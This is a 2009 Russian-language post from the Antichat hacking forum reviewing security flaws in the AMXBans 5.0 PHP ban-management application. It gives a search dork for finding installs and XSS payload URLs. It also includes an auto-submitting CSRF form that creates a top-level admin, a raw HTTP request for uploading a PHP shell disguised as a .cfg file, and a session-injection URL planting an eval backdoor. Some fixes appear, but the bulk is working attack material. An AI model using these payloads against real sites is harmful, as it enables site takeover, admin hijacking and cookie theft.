ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Обзор AMXBans
  #1  
Старый 21.05.2009, 20:35
Аватар для oRb
oRb
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
Провел на форуме:
7875940

Репутация: 2362
По умолчанию Обзор AMXBans

AMXBans 5.0 by YoMama/LuX & lantz69

Site: http://www.amxbans.net/
Dork: allinurl:ban_list.php amxbans
Папки доступные на запись:
include (скрипт сам создает конфиг, который располагается в этой папке)
smarty/templates_c (скомпиленные шаблоны смарти)
tmp (здесь сохраняются залитые на сервак списки банов)

XSS
/unavailable.php?message=%3Cscript%3Ealert(document .cookie)%3C/script%3E
Необходимо: register_globals = On
PHP код:
if ($_GET['msg'] == "frontend_disabled") {
    
$message lang("_ERRORAMXBANSDISABLED");
} else if (
$_GET['msg'] == "setupfile_exists") {
    
$message lang("_ERRORSETUPPHP");
} else if (
$_GET['msg'] == "magicquotes_off") {
    
$message lang("_ERRORMAGICQUOTES");
}
//...
$smarty->assign("message",$message); 
Подобные ошибки встречаются и в других скриптах. К примеру, /ban_details.php?ban_info[player_name]=%3Cscript%3Ealert(document.cookie)%3C/script%3E

XSS (активная)
/login.php?uid=%3Cscript%3Ealert(/xss/)%3C/script%3E
/admin/log_search.php
Необходимо: register_globals = On
PHP код:
if(isset($_POST['uid'])){
    
$_POST['uid'] = secure($_POST['uid']);
}
//...
    
if (isset($_POST['uid'])) {
     
$uid $_POST['uid'];
    } else if ( isset(
$_SESSION['uid']) ){
     
$uid $_SESSION['uid'];
    }
//...
$add_log    mysql_query("INSERT INTO $config->logs VALUES ('', '$now', '".$_SERVER['REMOTE_ADDR']."', 'unknown', 'admin logins', '$uid failed to login')") or die (mysql_error()); 
Метод устранения:
В начала файла include/functions.lang.php дописать
PHP код:
function regGlobOff($array) {
    foreach(
$array as $k => $v) {
        unset(
$GLOBALS[$k]);
    }
}
error_reporting(0);
regGlobOff($_POST);
regGlobOff($_GET);
regGlobOff($_COOKIE); 
Path disclosure
Практически в каждом файле:
PHP код:
// Start session
session_start(); 
Вставляем в идентификатор сессии запрещенные символы и получаем
Код:
Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /Library/WebServer/test/amxbans/ban_list.php on line 46

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /Library/WebServer/test/amxbans/ban_list.php:46) in /Library/WebServer/test/amxbans/ban_list.php on line 46

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /Library/WebServer/test/amxbans/ban_list.php:46) in /Library/WebServer/test/amxbans/ban_list.php on line 46
Метод устранения:
В каждом скрипте перед session_start поставить оператор подавления ошибок @

CSRF
Добавляет нового веб-админа с максимальными полномочиями. "Демо" сплойт:
Код:
<body onload="document.forms.admins.submit()">
<form name='admins' method='post' action='http://test/amxbans/admin/admins_levels.php'>
	<input type='hidden' name='sektion' value='webadmins'>
	<input type='text' name='username' value="test">
	<input type='text' name='password' value="test">
	<input type='text' name='level' value='1'>
	<input type='hidden' name='action' value="insert">
</form>
Метод устранения:
Добавить следующий код, например в include/accesscontrol.inc.php
PHP код:
if( $_SERVER['REQUEST_METHOD'] == 'POST')
    if(!
preg_match('!^http(s)?://' preg_quote($_SERVER['HTTP_HOST']) . '!i'$_SERVER['HTTP_REFERER']))
        exit; 
Заливка шелла
/admin/import_bans.php
Имя файла для заливки должно заканчиваться на .cfg, и его размер не должен привышать 45000 байт. Загружать шелл надо указав тип файла "text/plain". Шелл зальется в папку tmp с тем же именем.
Пример:
Код:
$nc localhost 80
POST /amxbans/admin/import_bans.php HTTP/1.1
User-Agent: Opera/10.00 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.0
Host: test
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: en,ru;q=0.9,ja;q=0.8,fr;q=0.7,de;q=0.6,es;q=0.5,it;q=0.4,pt;q=0.3,pt-PT;q=0.2,nl;q=0.1,sv;q=0.1,nb;q=0.1,da;q=0.1,fi;q=0.1,pl;q=0.1,zh-CN;q=0.1,zh-TW;q=0.1,ko;q=0.1
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://test/amxbans/admin/import_bans.php
Cookie: amxbans=oRb%3Ad8578edf8458ce06fbc5bb76a58c5ca4%3A1%3A%3A971f14d9f928e6458ccf6e3d3cb13a54%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes; PHPSESSID=29d9830bde44023b1e1c2affc6d82324
Cookie2: $Version=1
Connection: Close
TE: deflate, gzip, chunked, identity, trailers
Content-Length: 566
Content-Type: multipart/form-data; boundary=----------sLuN8T5jVOiPkDnr0wuySS

-------VOiPkDnr0wuySS
Content-Disposition: form-data; name="submitted"

true
------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="banlog"; filename="info.php.cfg"
Content-Type: text/plain

<?php phpinfo(); ?>
------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="ban_reason"


------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="ban_length"


------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="importit"

import
------------sLuN8T5jVOiPkDnr0wuySS--



Таблицы:
amx_admins_servers
amx_amxadmins
amx_banhistory
amx_banreasons
amx_bans
amx_levels
amx_logs
amx_serverinfo
amx_webadmins (id, username, password, level, logcode) //password = md5 хеш

Cookies:
Ставится 1 кука с именем amxbans. Ее содержимое: oRb%3Ad8578edf8458ce06fbc5bb76a58c5ca4%3A1%3A%3Ac2 b6a0f098280fc8f4795e33b58a77ed%3Ayes%3Ayes%3Ayes%3 Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ay es%3Ayes%3Ayes
PHP код:
$cook            explode(":"$_COOKIE["amxbans"]);
    
$uid            $cook[0];
    
$pwd            $cook[1];
    
$lvl            $cook[2];
    
$uip            $cook[3];
    
$logcode        $cook[4];
    
$bans_add        $cook[5];
    
$bans_edit        $cook[6];
    
$bans_delete        $cook[7];
    
$bans_unban        $cook[8];
    
$bans_import        $cook[9];
    
$bans_export        $cook[10];
    
$amxadmins_view        $cook[11];
    
$amxadmins_edit        $cook[12];
    
$webadmins_view        $cook[13];
    
$webadmins_edit        $cook[14];
    
$permissions_edit    $cook[15];
    
$prune_db        $cook[16];
    
$servers_edit        $cook[17];
    
$ip_view        $cook[18]; 
В сессию отлично пишется php код. Достаточно просто обратится к скрипту с параметром newlang. /ban_search.php?newlang=%3C?%20eval($_GET[c])?%3E
Получим:
Код:
lang|s:19:"<? eval($_GET[c])?>";uid|s:4:"test";pwd|s:32:"098f6bcd4621d373cade4e832627b4f6";uip|s:0:"";lvl|s:1:"1";userid|N;bans_add|s:3:"yes";bans_edit|s:2:"no";bans_delete|s:2:"no";bans_unban|s:2:"no";bans_import|s:2:"no";bans_export|s:2:"no";amxadmins_view|s:2:"no";amxadmins_edit|s:2:"no";webadmins_view|s:2:"no";webadmins_edit|s:2:"no";permissions_edit|s:2:"no";prune_db|s:2:"no";servers_edit|s:2:"no";ip_view|N;
AMXBans работает только c magic_quotes = On !
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
форумные движки: обзор и обсуждение nerezus ПО для Web разработчика 61 29.04.2010 10:08
Windows Vista: детальный обзор новых возможностей ~!DoK_tOR!~ Мировые новости 0 08.02.2007 20:21
Мобильные Антивирусы: Обзор m0le[x] Схемы и программы 5 24.11.2006 17:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ